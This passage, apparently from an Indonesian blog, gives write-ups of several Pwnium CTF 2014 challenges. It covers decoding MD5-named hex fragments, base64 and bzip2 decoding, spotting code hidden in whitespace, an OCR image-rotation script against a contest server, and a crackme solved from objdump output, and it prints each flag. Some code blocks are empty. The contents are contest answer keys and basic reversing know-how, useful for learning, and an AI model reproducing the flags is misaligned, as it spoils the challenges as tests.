c74d97b01eae257e44aa9d5bade97baf
c81e728d9d4c2f636f067f89cc14862c
c9f0f895fb98ab9159f51fd0297e236d
cfcd208495d565ef66e7dff9f98764da
d3d9446802a44259755d38e6d163e820
d67d8ab4f4c10bf22aa353e27879133c
e369853df766fa44e1ed0ff613f563bd
e4da3b7fbbce2345d7772b0674a318d5
eccbc87e4b5ce2fe28308fd9f2a7baf3

 

Di dalam masing-masing file ada dua digit heksadesimal. Setelah mencoba-coba menggunakan md5 cracker online, ternyata masing-masing adalah angka (c4ca4238a0b923820dcc509a6f75849b adalah md5 untuk angka 1, dst). Jadi langkah pertama yang saya lakukan adalah merename semua hash menjadi nomor, ini bisa dilakukan dengan skrip bash:


for((i=0; i < 40; i++)); do mv $(echo -n $i|md5sum| cut -f 1 -d' ') $i;done

 


Berikutnya kita coba gabungkan semua isi file sesuai urutannya:


for((i=0; i < 40; i++)); do cat $i; done

Hasilnya:


50776e69756d7b30326365663765656237356664643964666336376330646331653365323535627d


Berikutnya kita coba convert ke ASCII, dan ternyata kita dapat flagnya:


$ echo 50776e69756d7b30326365663765656237356664643964666336376330646331653365323535627d| xxd -r -p

Pwnium{02cef7eeb75fdd9dfc67c0dc1e3e255b}

Pwnium CTF2014: Crypto75 break_me

Ini adalah soal crypto yang paling sederhana, kita diberikan string ini:

QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcyQtA2gNbvXgSvxdyRThQkDxSmOA=

Dan diminta memecahkan kodenya. Terlihat bahwa itu adalah data dalam base64. Kita bisa mendecodenya:

$ echo “QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcyQtA2gNbvXgSvxdyRThQkDxSmOA=” | base64 –d > file

Lalu cek isinya;


$ file file

file: bzip2 compressed data, block size = 900k

Kita coba langsung decode:


$ bzcat file
9afa828748387b6ac0a393c00e542079

Didapatkan flagnya:9afa828748387b6ac0a393c00e542079

Pwnium CTF2014: For150 Altered Code

Diberikan sebuah source code singkat ini:

 

Kita disuruh mencari kodenya. Di teks di atas tidak terlihat, tapi di source code aslinya terlihat bahwa ada yang indentasinya memakai spasi dan ada yang memakai tab, setelah kita comment baris-baris yang berbeda, hasilnya:

 

Dan ketika dicompile , lalu dijalankan, flag yang kita dapatkan:

D0nT_e4t_Sushi

Pwnium CTF 2014: Prog300 ROT

Ketika melakukan koneksi ke 41.231.53.40:9090, kita akan disambut dengan string base64 yang merupakan image, ketika dibuka, imagenya memiliki format seperti ini:

x

Tugas kita adalah membuat program yang memutar gambarnya menjadi seperti ini:

A

Kemuudian membaca teksnya, dan mengirimkan hasilnya ke server.

Saya membuat program singkat dalam Python:

 

Program ini memanfaatkan PIL untuk bagian rotasinya dan menggunakan Tesseract OCR untuk membaca teksnya. Akurasinya OCR ini cukup baik, walau tidak sempurna, untungnya kita tidak diminta mengirimkan N teks akurat, cukup satu saja (dalam waktu 2.5 detik sejak menerima gambarnya).

Flag yang didapat: Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}

Pwnium 2014: re10 Baby Crackme

Ini adalah soal reversing paling sederhana (dan nilainya memang hanya sepuluh point). Executable yang diberikan akan memprint “Baby Crackme”, dalam loop. Untuk menyelesaikan ini tidak perlu IDA, hanya perlu objdump saja. Bisa dilihat bahwa program ini mengecek apakah dijalankan dengan parameter atau tidak (membandingkan [$ebp+8] ==1). Dengan menjalankan program dengan parameter sembarang, kita mendapatkan flagnya: G00d_B0y.

08048454 <main>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 e4 f0 and $0xfffffff0,%esp
804845a: 83 ec 10 sub $0x10,%esp
804845d: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
8048461: 7f 0e jg 8048471 <main+0x1d>
8048463: c7 04 24 b0 85 04 08 movl $0x80485b0,(%esp)
804846a: e8 15 ff ff ff call 8048384 <puts@plt>
804846f: eb f2 jmp 8048463 <main+0xf>
8048471: c7 04 24 47 00 00 00 movl $0x47,(%esp)
8048478: e8 d7 fe ff ff call 8048354 <putchar@plt>
804847d: c7 04 24 30 00 00 00 movl $0x30,(%esp)
8048484: e8 cb fe ff ff call 8048354 <putchar@plt>
8048489: c7 04 24 30 00 00 00 movl $0x30,(%esp)
8048490: e8 bf fe ff ff call 8048354 <putchar@plt>
8048495: c7 04 24 64 00 00 00 movl $0x64,(%esp)
804849c: e8 b3 fe ff ff call 8048354 <putchar@plt>
80484a1: c7 04 24 5f 00 00 00 movl $0x5f,(%esp)
80484a8: e8 a7 fe ff ff call 8048354 <putchar@plt>
80484ad: c7 04 24 42 00 00 00 movl $0x42,(%esp)
80484b4: e8 9b fe ff ff call 8048354 <putchar@plt>
80484b9: c7 04 24 30 00 00 00 movl $0x30,(%esp)
80484c0: e8 8f fe ff ff call 8048354 <putchar@plt>
80484c5: b8 bd 85 04 08 mov $0x80485bd,%eax
80484ca: c7 44 24 04 79 00 00 movl $0x79,0x4(%esp)
80484d1: 00
80484d2: 89 04 24 mov %eax,(%esp)
80484d5: e8 9a fe ff ff call 8048374 <printf@plt>
80484da: b8 00 00 00 00 mov $0x0,%eax
80484df: c9 leave
80484e0: c3 ret